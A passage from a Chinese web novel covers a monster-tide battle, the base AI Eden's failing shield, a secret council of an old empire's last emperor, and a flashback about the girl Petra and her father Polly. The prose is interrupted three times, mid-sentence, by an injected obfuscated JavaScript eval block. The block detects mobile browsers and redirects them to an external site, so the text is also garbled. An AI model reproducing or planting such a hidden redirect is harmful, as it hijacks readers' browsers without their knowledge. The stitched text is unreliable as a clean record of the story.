他一点点握掌成拳,剑徽锋利的边缘刺伤了他的手心:“这是老东西的安排?” “无绮愿意。”阎银华道。 “……”梅深吸一口气,又用力扭过头,看向城墙下的单无绮。 单无绮一马当先,她是目前第一个,也是唯一一个离开城墙的人。 党员站在墙上,凝望单无绮一往直前的背影,平民躲在避难所,茫然而紧张地聆听伊甸的广播。 刀尖总是染血,箭矢开弓无回。 单无绮是下一任首长,但那个万人景仰、高不可及的位子,于她而言,仿佛只是一个无关痛痒的头衔。 咔哒—— 咔哒—— 咔哒—— 墙头,微缩核心疯狂旋转。在伊甸的操控下,旧人类的遗产从高墙里苏醒,无数或精巧,或沉重的高科技武器,纷纷将尖端对准墙外汇集的异种。 旧人类的科技水平,新人类难以望其项背。蓝心说得没错,他们迄今为止的一切努力,都只是在破解遗产的说明书。 梅感受着脚下高墙的震颤,旧人类留下的武器令世界颤栗,仿佛巨龙的呼吸。 他们站在旧人类的肩膀上。 他们站在死去巨人的肩膀上。 “动起来,梅。”阎银华温和地看着梅,“我们没有正面迎敌的力量,但至少,我们可以拉动炮台的火绳。” 梅将单无绮的剑徽别在左心口,和他的那一枚并列。阎银华看了梅一眼,确认状态无碍,转身部署人员去了。 “……翅膀硬了啊,单无绮。”梅似笑非笑地嗤了一声,“也罢,这个世界,终究是属于你们的。” * 防护罩的半径比基地大五十米,单无绮奔跑到防护罩边缘,耳边响起了伊甸的祝福。 “愿你凯旋,单副官。”伊甸说,“火力支援已经就位,请您继续勇往直前。” 单无绮笑得露出一口白牙。 “当然!”单无绮大声道,“伊甸,让我瞧瞧你的本事!” “遵命。”伊甸答。 内城地下,伊甸巨大的主体发出震耳欲聋的嗡鸣声。 外城高墙,微缩核心再次加速运转。 旧人类的高科技武器尖端齐齐汇聚出明亮的光团,电弧在光团上游走,庞大的能量在未知科技下坍缩、膨胀,光团越来越大,隐隐发出令人心跳加速的细小爆破声。 麦尧张大嘴:“那是什么?” 麦尧是梅的直系下属,执行二队的队长。 庄修文戴上护目镜:“闭眼。” 麦尧扭头:“啥?” 轰——!!! 灼热的气浪带着震耳欲聋的炮响,顷刻间吞噬了人们的感知。 无数雪白的光束如同逆飞的流星,以毁天灭地之势,向远处汇集的异种轰射而去。 庄修文戴上了护目镜,老神在在地盯着轰射的光束。麦尧和他的队员防护不及,一瞬间发出吃痛的哀嚎,亡羊补牢地捂住了双眼。 整个世界一片雪白。 三秒后,白光散去,庄修文摘下护目镜,却并未看到预料中的满目疮痍。 没有脓液,没有鲜血,没有尸体。 第一波集结的异种,尽数原地蒸发。 它们连一声哀嚎都不曾留下。 宛如执掌此世的神明轻轻翻转祂的手掌,火力覆盖下,炮口瞄准的一切生物皆如刍狗,在无可抵抗的伟力下尽数覆灭。 单无绮安静地看着眼前的焦土。 旧人类的遗产恐怖如斯,这片土地被夷平了。 “第一轮火力覆盖已完成。”伊甸平静地汇报。 单无绮回神。 “……牛啊,伊甸。”单无绮发出苍白的喟叹,她词穷了,“这就是科学的力量吗?” “您过奖了,这不过是人类帝国的一点余烬,可谓微不足道。”伊甸谦虚地答。 单无绮信心倍增。 她深吸一口气。 仅剩的裸露皮肤被坚硬的鳞片覆盖,单无绮站在原地,犹如将军披甲。 单无绮看向远处,第二波异种正在集结。 她迈出脚步。 “单副官!”突然,单无绮的身后传来一道呼喊。 单无绮回头,随即微微一愣。 她湛蓝的眼睛倒映出一群非人的异种。 他们是行刑场上幸存的党员,血清在他们身上发挥了正面的作用,他们被成功改造成了异种。 “单副官,我们来迟了。”为首的党员有一张略显熟悉的脸,他是单无绮救下的第一个党员,“经阎部长批准,我们被允许离开城墙,成为您的卫兵。” 单无绮轻声道:“你们……” “单副官,我们的生命本应结束在行刑场上,但您给了我们第二条生命。”党员说道,非人的双目涌动着人类的情感,有痛苦,有挣扎,还有一丝哀求,“您还记得您对我们说过的话吗?” 单无绮安静不语。 “您要我们活下来,您要我们为了人类活下来。”党员道,“我们活下来了,但我们不知道如何继续活着。我们既不是人类,也不是异种,我们是一群醒目的怪物,犹如白羊里的黑羊。” “我们想要追随您,我们必须追随您。” “您是拥有人类意识的异种,和我们一样。您如何活着,我们就如何活着。” “现在,您离开城墙,踏上战场。我们也一样,所以,我们站在了这里。” “请对我们下令吧,单副官。”党员看着单无绮的眼睛,“请像驱使手臂一样驱使我们吧,请您……让我们有资格活着吧。” 单无绮没有立刻回答。 她盯着这群人造的异种。 他们的背后垂落着新生的触手,脸上生长着稚嫩的鳞片。他们的生命本应戛然而止,却被单无绮延长,这令他们无比欣喜,但欣喜过后,便是扑面而来的,无边的惶恐。 他们踏上了一条全然陌生的道路。 在绝路与绝路之间,他们踏上了第三条路。 零嬉笑着说:“哈哈,他们害怕得发抖。” 单无绮轻叹一声:“……是我疏忽了。” 三眼鸡崽发出疑惑的“啾”声,柳法却立刻明白了单无绮的言外之意。 柳法道:“不是每个人都是你。” “是啊,不是每个人都是我。”单无绮的语气有些沉痛,她在反省。 零讥诮地说:“你在自夸吗?你真傲慢。” “我没有在自夸,但我的确傲慢。”单无绮轻声道,“我的傲慢,在于让他们一无所知地走上一条崭新的道路——我剥夺了他们选择的自由。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959650|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >零沉默片刻:“你的确傲慢。这是个乱世,而你竟然在乎缥缈的人权。” “他们被人类牺牲,如同外城被内城牺牲,都是一道卑劣的选择题。”单无绮深吸一口气,“并非所有人都必须一往无前,他们无需时刻拥有澎湃的勇气,短暂的怯懦和退缩应当被允许。” “……”零发出一个不成调的气音。 单无绮的耳边清净了,零闭麦了。 单无绮看向这群异种,在他们的眼中,单无绮捕捉到雏鸟般脆弱的情绪。 “你们不是异端,你们是人类,和我一样。”单无绮轻笑着,好似提起一个轻快的话题。 她的指尖指向自己的心口:“我就要成为下一个首长了,你们为什么会觉得,你们会被墙内的同胞排斥呢?” 漂亮口号可以鼓舞人的情绪,却无法改变人的观念,因为观念的出发点是立场,而立场的背后是利益。 单无绮不指望一句轻飘飘的安慰能让这群人安心,但现在的她,有资格向他们允诺一个安全的未来。 她将成为首长。 她将庇护他们。 为首的党员轻舒一口气,他身后的党员也肉眼可见地放松了一些。 嗡嗡嗡—— 一道异常的嗡鸣声在单无绮耳边响起。 单无绮抬起头,惊愕地发现坚固的防护罩变得纤薄无比。 研究所地底,0和1的数据流如同绿色的荧海。伊甸关闭冒烟的组件,而它完好的组件已经不足三分之一。 关闭损坏的组件后,伊甸再次自检。 ——损耗率:74.34%。 “你还能撑多久?”首长问。 首长的问话突如其来。 由于长时间超负荷运转,伊甸的主机严重发烫,这片地底犹如充满着气态熔岩,不仅滚烫,而且不宜久留。 伊甸温和地答:“首长,我的剩余寿命足够撑过此次异种潮。” “你害怕死亡吗?”首长又问。 “首长,我是无机生命,我并不害怕死亡。”伊甸的声音有着拟人的生动,它是人类帝国的遗产之一,但即便身上凝聚的科技已经抵达巅峰,它依然无法摆脱那一丝微小的非人感,“我搭载着情感模因,但我只是在模仿人类的情感,在我的眼中,‘死亡’是一个壮烈的词语,它的修辞含义大于现实含义。” “我害怕死亡。”首长说。 伊甸沉默。它的情感模因告诉它,首长正在倾诉,而它只需倾听。 但首长什么也没说。 伊甸滚烫的机体散发的热浪,令空气都微微扭曲。首长坐在树根般虬结的触手上,他已经失去了人形,全然变成一只非人的怪物,比异种更像异种。 死亡是长眠的兄弟,常于静谧处出行。 首长本来以为,在死亡面前,他会生出许多言语。 但现在,他唯余沉默。 良久,伊甸出声:“首长,您可以为我解答一个问题吗?” 首长抬起遍布黑色血管的皲裂脸庞。 他点头。 “32小时前,我们曾展开一场对话。我问:您认为人类会走向灭亡,您为何还在寻找拯救人类的办法?您答:因为我们还活着。”伊甸的机械女音出现细微的噪音,它的损毁率已经超过75%,“首长,什么是‘活着’?” 首长答:“活着就是活着。” 伊甸又问:“就像死亡一样吗?” “不,伊甸。”首长又答,“活着既不壮烈,也无修辞,它就是现实。” 伊甸发出思考的嗡鸣声。 一分钟后,伊甸答:“我明白了。” 首长抬眸:“你明白什么是‘活着’了?” “不,我明白了我想不明白这个问题。”伊甸温和地说,“无机生命和有机生命的底层逻辑,有着连神明也无法抹去的差异。与其把珍贵的机能浪费在这个问题上,不如运用在维持防护罩上。” 首长笑了:“你已经明白什么是‘活着’了。” 伊甸安静了一秒。 随后,伊甸的机械女声释然地说:“啊……原来这就是‘活着’。” 58. 末帝 内城,一张巨大的圆桌上摆着美酒。 这是一间暗室,光线不甚明晰,室内一切东西都晦暗不明。细细的阳光从唯一的缝隙里照入,让杯中美酒红如鲜血。 一只奇怪的“手”端起那杯美酒:“众卿,日安。” 其他声音附和:“日安。” “我们的苏醒实属不易,此次请众卿来,是为了敲定三件事。”开口的人端着酒杯,他的“手臂”延伸进黑暗,看不清本体,“在此之前,请允许我确认你们的意志——筑墙还是迁徙?” 其他声音回答:“筑墙。” “坚刚不可夺其志,吾心甚慰。”疑似领袖的人赞许道。 黑暗中,几团看不清轮廓的东西蠕动了一下。 他们耐心地聆听着。 “第一件事,基地第36任首长即将死去,他的继任者是他的副官。”黑暗中的领袖说,声音沙哑,仿佛生锈的铁片在摩擦,“众卿,可有异议?” “没有异议。”其他声音答。 “第二件事,我们和异种的交易,如今已到兑现之日。”黑暗中的领袖又说,“让它们入住外城,众卿可有异议?” 这一次,其他声音没有立刻回答。 一个浑囵的声音开口,他似乎没有了牙齿,只余震动的声带:“外城还有人活着。” “他们都会死。”领袖答。 浑囵的声音安静了。 其他声音答:“没有异议。” “第三件事。”黑暗中的领袖顿了顿,“我们之中由谁去确认,*盖娅*是否苏醒?” 其他声音沉默,继而死寂。 “我。”最终,浑囵的声音答,“我已经活了364年,由我向*盖娅*发起问话。” 浑囵的声音叹了一口气,不似人声,而似开智的野兽:“我……再也无法忍受被噩梦折磨了。” 领袖问:“众卿,可有异议?” 其他声音答:“没有异议。” “我们会铭记你的牺牲,赫利克斯卿——即使伟大的帝国已经覆灭,但精神的火种仍然流淌在贵族的蓝血里。”领袖温和地说,“本次会议结束,请众卿继续安寝吧。” 窸窣—— 窸窣—— 黑暗中蠕动的东西消失了。 领袖静静地坐在圆桌首位。 许久,他倾倒酒杯,将美酒一饮而尽。 细细的阳光照亮了他身体的一角,幽暗的鳞片反射着华美的锋光。 筑墙派领袖放下酒杯:“赫利克斯卿,你为何还未入睡?” “……我已经睡得够久了,陛下。”名为赫利克斯的存在嘶哑地说,他听起来像一位武将,“大灾变爆发前,我曾在帝都的许愿池抛下银币,向全知全能的*盖娅*许愿,请求祂赐予我一日安歇。但如今——” “昨日种种,譬如昨日死。”筑墙派领袖温和地打断。 赫利克斯安静片刻:“请原谅我,陛下……” “昔日辉煌的人类帝国,如今只余灰烬。”筑墙派领袖喟叹道,“无数无辜的子民因我而死,但我们——一群最应该死去的人,却以这副丑陋的姿态苟活。” 赫利克斯沉默。 他非人的眼球盯着阴影里的怪物。 帝国的末帝,被公民誉为“太阳”的俊美人王,如今,却比沼泽里的毒蛇还要狰狞。 西沉的太阳终会东升。 堕落的人王却永陷深渊。 赫利克斯复杂地凝视他的皇帝,但这位伟大的末帝,如今的筑墙派领袖心态极佳。 他甚至轻笑出声:“赫利克斯卿,你在想什么?” 赫利克斯欲言又止,止言又欲:“请原谅我的僭越,就当是我临死前的胡言——外城的公民,他们必须死吗?” 筑墙派领袖温和地答:“是的。” 赫利克斯急切地想要追问,但他用力地闭紧了嘴巴。 “我明白你的疑惑,我理解你的悲悯,但帝国的陨落是一个悲惨的教训。”筑墙派领袖放下饮尽的空杯,“我们,被*盖娅*命名为‘人类’的种族,其智慧的边境在*盖娅*圈定的范围内——可知域外是不可知域,是神的领域,我们触碰禁忌创生异种,因此才引发了大灾变。” “所以我们不该隐瞒。”赫利克斯的声音迫切而恭敬,“至少,我们不该让他们一无所知地死去。” “不,所以我们应该继续隐瞒。”筑墙派领袖温和地劝解,“我用最近的案例举例——你对蜂群意识还有印象吗?” “是的,陛下。二十多年前,一个名叫波利·萨恩奇的智者重启了它。” “波利的弟子,柳法·波波夫继承了他的衣钵——但柳法选择向工蜂坦白一切。” “……”赫利克斯沉默。 良久,赫利克斯沉痛地说:“我明白了,陛下。” 窸窣的声音响起,帝国的旧臣安寝了。 筑墙派领袖,帝国的末帝,他的真名已经在时间长河里模糊,如今的他,既非耀眼夺目的太阳,也非交接火炬之人。 真正交接火炬的人,另有其人。 旧人类已死,新人类当活。 “全知全能的*盖娅*,伟大的母神。”筑墙派领袖轻声道,“人类不会永远是你纯洁的孩子,请你……拭目以待。” …… 单无绮仰头盯着防护罩。 并非只有单无绮一人察觉防护罩的异常,她身边的异化党员们,纷纷注意到这个变化,脸色顷刻间变换了无数次。 “是我的错觉吗?”为首的党员问,声线微微颤抖,“防护罩……好像快破了?” 单无绮收回视线。 她没有肯定,也没有否定,而是另起一个新话题:“你们知道防护罩是谁在维持吗?” 党员们纷纷答:“伊甸。” “基地建立已有325年,这个防护罩,伊甸也维持了325年。”单无绮道,“万物无长青,虽然伊甸是旧人类留下的伟大遗产,但它终有寿命到头的一天。” 党员们沉默。 有人不受控制地发出呜咽:“我害怕……” “没关系,害怕是正常的。”单无绮没有责备,她露出了柔和的笑脸,安抚那人的情绪,“你们之上有部长,部长之上还有首长,即使天塌下来,也有高个子的人顶着。” 众人再次沉默。 防护罩发出“嗡嗡”的异响,高墙上,旧人类的高精尖武器调整弹道。 单无绮转身:“我先走了。” “你要去哪儿?”党员问。 单无绮回眸。 在一众异化党员的注视下,她伸出手臂,指向远处集结的第二波异种。 她的语气轻快得像是去春游:“我要到那里去。” “可是……” “伊甸的能源,应该用在维持防护罩上,那种帅气的地毯式轰炸,还是不要再出现了。”单无绮道,“我先走一步,你们调整后跟上!” 话音刚落,单无绮转过身,冲出了防护罩的保护范围。 呼啸的风在双耳掠过,单无绮奔驰在旷野上,心中毫无对失败的恐惧。 她很强。 她非常强。 她不可能死在异种手里。 在荒野流浪的日子里,她是猎人,异种是猎物。 经过伊甸的轰炸后,第一波异种已经尽数消灭,在第二波异种汇集成势之前,她要深入到异种潮的中心去。 她要搞明白,为什么这些异种会一反常态地聚集起来。 头顶明日高悬,此时仍是白昼,但浑圆的太阳已经开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972897|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西沉。 单无绮孤身奔袭而去。 她的背后是基地,她的面前,是一片异种的海洋。 她在高墙内的狭土斡旋了太久,几乎快要忘却在旷野上奔跑的滋味。 “飒!”外围的异种朝单无绮包围过来。 波利的笔记说,异种拥有智慧,但单无绮面前的这些异种,仿佛只是一群行尸走肉。它们的三只眼睛里唯有呆钝的神韵,它们没有神智,身体动作全凭本能驱使。 单无绮抬起枪。 砰砰砰! 子弹在下一秒命中异种的脑袋,鲜红的血液和清亮的脓液溅射出来。 但异种没有倒下。 墙外的异种进化了! 单无绮脑中冒出这个念头。 那本厚得能砸死人的《异种图鉴》,间接证明了异种进化的速度。 墙外的一切扑朔迷离,调查司每一次采集样本时,异种都会以匪夷所思的速度迭代、进化,仿佛看不见的神明向人间伸出拣选的双手。 被子弹击中的异种站了起来。 但下一刻,狰狞的鳞爪掐住了它们的口器。 单无绮没有放慢速度。 她在奔袭时开枪,轻描淡写,那些异种本不该成为她的拦路石。 嘶拉—— 单无绮的手捅穿了异种坚韧的口器,径直捣入它们脆弱不堪的大脑。 击杀异种后,单无绮干脆利落地拔出鳞爪,随意地甩了甩,犹如掸去一枚不起眼的尘埃。 她没有停下,继续向异种潮的中心冲刺而去。 后方基地,伊甸微调弹道。 珍贵的能源用以维持防护罩,但伊甸从未放弃火力支援,它时刻关注着单无绮的动态,视野里,一群标红的异种中,唯一一个白名单目标格外醒目。 “姓名:单无绮。” “身份:异种。” “是否驱逐:否。” 一只手抚摸上伊甸滚烫的机体,几次点触后,一个隐藏式操作台从机体里释放出来。 那只手并非人类的手,其上覆盖着狰狞鳞片,却和墙外的异种不同,是比那些异种更高等的生命体。 伊甸艰难地开口:“滋滋……陛下……” “白名单?”筑墙派领袖,人类帝国的末帝,一个只余狰狞身躯的非人怪物,他抬起毫无人类轮廓的脸,用沙哑的声音含笑道,“这只异种,是第36任首长加上的?” “滋滋……是的,陛下。” “他人呢?” 一道光束照亮了角落,一团盘根错节的未知生命体蜷缩在那里,生死未卜。 筑墙派领袖轻笑一声,漫不经心:“我记得他俊俏的黑胡子——他死了吗?” “滋滋……目标仍有生命体征。” “那只进入白名单的异种叫什么?”筑墙派领袖又问。 “单……无绮。” “删掉她。”筑墙派领袖下令。 底层逻辑自行运转,0和1的数据流仿佛萤海。 滴滴滴—— 操作中止了。 筑墙派领袖玩味地看着伊甸:“为什么?” “滋滋……她是基地的下一任首长,我的新主人。”伊甸的机械女声愈发模糊,“陛下,我……滋滋……不能将炮口对准人类的火种。” 筑墙派领袖沉默。 “火种。”他喃喃道,“你们竟然这样看待她。” 他似乎妥协了,终止了将单无绮剔出白名单的指令,随后,他的指尖在操作台上轻触,下达了另一条全新的指令。 ——从现在起,所有的异种,都进入了伊甸的白名单。 ——它们是帝国的实验体,由帝国研究所打破禁忌创生的新人类。 ——它们本是人类的兄弟。 59. 双生花 单无绮向异种潮深处走去,鳞爪挥舞,身后的地面横陈着异种的尸体。 直觉是零碎信息的汇总,许多时候,单无绮拿不出一套完整的逻辑,但优秀的直觉让她无数次找到矛盾核心。 比如这一次,驱使单无绮单枪匹马冲进异种潮的绝非冲动,而是内心极其强烈的直觉。 伊甸的威慑毋庸置疑,三百年里,异种从未如此大规模汇集。 异种潮的中心有什么? 单无绮的余光瞥向身后,她看见那群党员跟了上来。 党员已经异化,即使他们拥有人类的姓名,但他们的身份已经和单无绮一样,被归入了“异种”。 诚如他们所言,单无绮怎么做,他们就要怎么做,不然他们很难取得人类的信任——即使他们曾经也是人类。 单无绮拔出腰间的手枪,她佩着双枪,子弹还有十枚。 砰砰砰砰—— 资料库为数不多的影片中,牛仔掏枪射击只需要0.02秒。 单无绮不知道牛仔,但她开枪的速度比牛仔更快。 异种平等地挨了一枚枪子,接二连三地倒下。单无绮瞟了一眼跟上来的党员,盘在背上的触手扬了扬,仿佛豹子摇晃它的尾巴。 “它们进化了,子弹杀不了它们。”单无绮教学道。 话音刚落,单无绮的“尾巴”拎起地上的异种,把那些挣扎着复生的触手怪,像串烧烤一样,干脆利落地串了起来。 最前面的党员道:“……A-37,A-39,B-57,它们的弱点是……” 但他还没有说完,单无绮已经跑远了。 “……左右丘脑或呼吸器官。”党员继续道,他的理论课是满分,“单副官,您……” 噗呲—— 一声黏腻的异响在党员耳边响起。 党员瞟了一眼,脸色微微发白:“同志,你……” “这玩意儿可比手枪好使。”发出异响的党员用他新生的触手捅穿了地上的异种,即使他的腰间佩着手枪,“我们该学习新武器了,同志。” …… 佩特拉和安多尼一前一后,行走在昏暗的地道里。 这里是福利院地底,“蜂”的集会场地。 佩特拉提着一盏提灯。 当佩特拉找到地道入口时,那盏提灯静静地摆放在入口旁。提灯的主人似乎料到有人会来,因此,她将从不离身的提灯留在福利院,因为光明应该留给踏入黑暗的人。 佩特拉的影子投在土壁上,时而高挑,时而矮小。 安多尼没有抬头。 他落后佩特拉三步,眼睛盯着壁上的影子。 “佩佩。”安多尼道。 “错啦,兄弟,我是佩特拉。”人类的佩特拉说。 安多尼盯着变得高挑的影子,没有说话。 “哎?你和我这个人类,竟然无话可说?”佩特拉蹦跳着走了几步,她分明有着成年女性的身姿,但她的脚步像孩子一样轻盈,“你要不要考虑讨好我?我可以帮你和佩佩牵线搭桥哦!” 安多尼垂下双眸。 他说:“她是个异种。” “你喜欢它。”佩特拉狡黠地说,她提出了两个问题,安多尼否认了一个,承认了另一个,“哇哦,劲爆新闻!团结部最强战力——现在是第二强了——竟然喜欢一个异种!” 佩特拉和她死去的父亲一样难搞。 安多尼想道。 佩特拉垂在前胸的头发可疑地晃了一下。 佩特拉轻轻摸了摸,仿佛抚摸一只不听话的小狗:“老安,你为什么会喜欢一个异种呢?” 安多尼不语。 “你的女人缘很惨,老安。内城的女孩子更喜欢帅气的男孩子,你这种粗笨的大块头,完全不在她们的择偶范围内。而外城的女孩子,她们根本不敢高攀内城人!——‘你爱喝咖啡吗?我要去喂鸡了’,她们只会这么对你说。至于男孩子嘛,我翻了翻脑中多出来的记忆,很可惜,你的爱好不在这里。” 佩特拉的嘴巴像是淬了毒,“综合考虑,和一只异种白头偕老似乎是你的最优选——但你喜欢佩佩,真的只是因为这些考虑吗?” 安多尼仍然不语。 “我不这么觉得。”佩特拉自问自答,“你是神职人员,在人口凋敝的基地,神父不需要守贞,只需要守贫和服从——做一个老实的穷光蛋,生一打能干活的孩子,对基地的好处大大滴有。当然,我不知道人类和异种能不能生小孩,但是……” “你闭嘴!”安多尼喝止道。 佩特拉来劲了。 她转过身,眼睛亮晶晶,像一个终于没有空军的钓鱼佬:“哈哈,你不老实,你这个假神父!” 安多尼紧紧地闭上了嘴。 “都说神父喜欢小男孩,可惜你的爱好不在这上面,但你也不算辱没前辈的名声,你爱上了一个小女孩。”佩特拉舔舔嘴唇能把自己毒死,“佩佩今年十五岁,把它在培养罐里发育的时间也算上,它今年十六岁……十六岁,也不是不行,至少合法了。” 基地的最低生育年龄是16岁,而最低结婚年龄是18岁。 这很荒谬。 但基地鼓励生育,而婚姻本质上是两个家庭的资产重组,某种程度上对提高生育率并不友好。 安多尼忍无可忍:“人类第一基地的法律,不对异种生效——我的意思是,你这是无稽之谈。” “我懂,我懂,目标无法选中嘛。”佩特拉捏着前胸的头发,“那么说,你还算喜欢它咯。” “是‘她’,不是‘它’。”安多尼道,“她叫佩佩。” 佩特拉沉默。 她开始回忆自己和父亲为数不多的相处时光。 …… 佩特拉的出生不在波利的预料之内,不如说,世上大多数孩子的出生都和伟大的爱情无关。 男女情好,套又太贵,于是一个孩子呱呱坠地了。 尤其波利是父方,还是个居无定所的浪子。 因此,当一个憔悴的女人牵着一个小丫头,窘迫而期待地敲开波利的房门后,波利只觉得天都塌了。 “我不会养小孩!”波利抓住鸡窝般的头发。 “我不要你养,老爹。”佩特拉伶牙俐齿,尽管她牙都没长齐,“我老妈要病死了,她也不想找你,是我把她拖过来的。” 波利沉默了。 他在原地站了几秒,又走回屋子,把仅剩的存款翻出来,然后抓起女人的手,放在对方枯瘦的手心里。 “你好好治病,孩子我来养。别来找我了。”波利说。 “你还记得我是谁吗?”女人含着泪光问。 波利诚实地摇头。 几天后,波利和佩特拉站在一座墓碑前。 墓碑上刻着一个优美的名字,这个名字由佩特拉口述,波利明显看出拼写有错误,但他一句话也不敢说。 “渣男!”小佩特拉说,“你这辈子到底有过多少个女人?” “基地的最低生育年龄是16岁,但我13岁就有第一个女人了。”波利说。 “那结婚呢?” “什么结婚……”波利嘴比脑子快,但他的情商不上不下,刚好卡在话一说出口就意识到不对的程度,“呃,是18岁,孩子。” “你和她扯个证吧,反正你这辈子都不会结婚了。”佩特拉说。 “她是个死人,基地不给办。” “那就扯个假证,刚好假证比真证便宜。” 一段时间后,一本红艳艳的结婚证摆在了墓碑前——波利跑遍了所有能用的关系。 结婚证上,女人拼写错误的名字被波利更正了——佩特拉看着波利熬得通红的眼睛,憋回了涌到嘴边的锐评。 “我穷了。”波利看着墓碑。 “爸爸。”佩特拉看着波利。 “我会给你找一对养父母。” “爸爸。” “我不会养小孩。” “爸比~” “……”波利狠狠地咬了一下牙,“好女儿。” 佩特拉不到一岁就会说话了,和波利第一次见面时,佩特拉刚满两岁。 波利很庆幸佩特拉已经断奶了,不然,这个小丫头真的会夭折在他手里。 浪子回头金不换,在基地尤为如此,不论男女。 波利拼了命地赚钱,只为养活多出来的那张嘴。 当波利终于在外城买房时,四岁的佩特拉走进波利的书房,用酒精灯和实验废液炸掉了这个小房子。 火光冲天,佩特拉和波利死里逃生,相顾无言。 波利顶着熏得黢黑的脸,使劲揪佩特拉的脸蛋。 “看你干的好事!”波利色令内荏,心里想着养了两年了,佩特拉的脸上终于有肉了,“我又要重新攒首付了!” 佩特拉难得羞愧了。 她垂下头,双手用力地攥着裙摆。 好半天,佩特拉昂起头:“你现在把我卖了吧!” “啥?” “你现在把我卖了吧,爸爸!”这一刻,佩特拉的眼神坚定得能入党,“我算过了,最迟新历320年,基地的人口就会达到饱和,那个时候的人会比一颗鸡蛋还便宜——人是持续贬值的,你现在卖掉我,比把我养大后再卖掉更赚。” 波利深吸一口气,缓了缓,没缓过来,又深吸了一口气。 他找到了自己的声音:“你知道你在说什么吗?” “知道。”四岁的佩特拉答,“我在教唆你犯罪,根据基地法律,贩卖人口至少判处三年有期徒刑。” “这不是重点!”波利绝望地尖叫,“你是怎么算出基地人口会在320年饱和的?!!” “这很难吗?”佩特拉歪头,“所以你到底要不要卖掉我?” 波利:“……” 波利:“第一,我不会卖你,我就算去卖屁股也不会卖你。第二,你是个天才,你的天赋不该埋没在外城,我会带你去内城。第三……” 波利看着佩特拉的眼睛。 那是一双还未被现实污染的眼睛,里面闪烁着美丽的光芒,犹如智者的乌托邦。 “第三,从今天起,你叫佩特拉,没有姓。”波利轻轻地说,犹如命运的织机轻声作响,“因为波利·萨恩奇这个名字,注定会钉在基地的耻辱柱上。” 几天后,佩特拉成为了内城机关幼儿园的插班生,而波利·萨恩奇,他被研究所所长收为弟子,宛如一颗光耀的明日之星。 “你叫什么名字呀?”幼儿园老师牵着佩特拉软软的小手。 “佩特拉,没有姓。”佩特拉的自我介绍别具一格。 下课后,一颗小石子砸上了佩特拉的后脑勺。 佩特拉回头,几个小孩子朝她做鬼脸。 “略略略,没有姓。”扔石头的小男孩怪叫道,“你真可怜,你没有爸爸吗?” “我有爸爸,但没有妈妈——我妈死了。”佩特拉平静地说。 小男孩肉眼可见地沉默了。 “每个人的妈都会死,你也是。”佩特拉补刀。 当天,小男孩哭着被家长带走。他不停地追问“妈妈你也会死吗”,得到了两个充满母爱的大逼斗。 波利牵着佩特拉的小手,语气谴责又自豪:“看你干的好事!” “我说的是实话。”佩特拉满不在乎地说。 但她突然想起什么,牵着波利的手紧了紧。 波利低头:“怎么了?” “你也会死吗?”佩特拉的声音微不可闻。 波利夸张地掏耳朵:“你说啥?” “狗屎老爹,我不理你了!”佩特拉用力甩开波利的手,噔噔噔地跑远了。 波利站在原地,一只手举在眼上,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982545|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豪而温柔地注视女儿的背影。 阴影里,一只戴着玫瑰念珠的手动了动。 “你有一个女儿?”安多尼问。 “目前是,我不确定。”波利答。 “什么意思?” “我的另一个孩子,它还在培养罐里呢。”波利轻笑一声。 他放下举在眼上的手,阳光撒在他的脸上,却无法照亮他灰暗的眼睛:“如果它是个男孩儿,就叫埃文,如果它是个女孩,就叫佩特拉。” “你已经有一个佩特拉了。” “佩特拉没有继承我的姓氏,她不是我的女儿。她的未来一片光明,和我这个肮脏的罪人无关。” “……”安多尼转动玫瑰念珠,他的念珠有43颗。 波利给佩特拉办理了住宿,一次性缴完了未来所有的学费,从幼儿园到大学。 研究所,波利抚摸孵化异种的培养罐:“我好想你啊,我可爱的、小小的佩特拉。” 幼儿园,佩特拉在沙地上拼写“佩特拉·萨恩奇”:“狗屎老爹,你的学费缴少了——基地的物价会持续上涨,你留的钱只够我读到高二。” “要活下去啊,佩特拉。”波利说。 “要活下去啊,老爹。”佩特拉说。 父女再未相见。 某一天,小学三年级的佩特拉上课上到一半,突然被班主任叫了出来。 一个胸口戴着铜制玫瑰徽的白大褂站在走廊,他有着烟雾般弥散的长发。 佩特拉仰起脸盯着白大褂的脸。 白大褂蹲下来:“你就是佩特拉?” “我爸死了?”佩特拉单刀直入地问。 班主任的脸色晃了晃,在一旁解释:“柳法同志,您别见怪,她的性格比较……” “你很聪明。”柳法点头,“他就要死了,在不久的将来。” “我不信,我老爹比我更聪明,基地百废待兴,不会放过这样的人才。”佩特拉反驳。 “师父……你父亲没有你聪明。所以基地选择了你,放弃了他。”柳法一板一眼地解释。 班主任的话卡在了喉咙里。 ——我会被灭口吗? 班主任安静如鸡地想道。 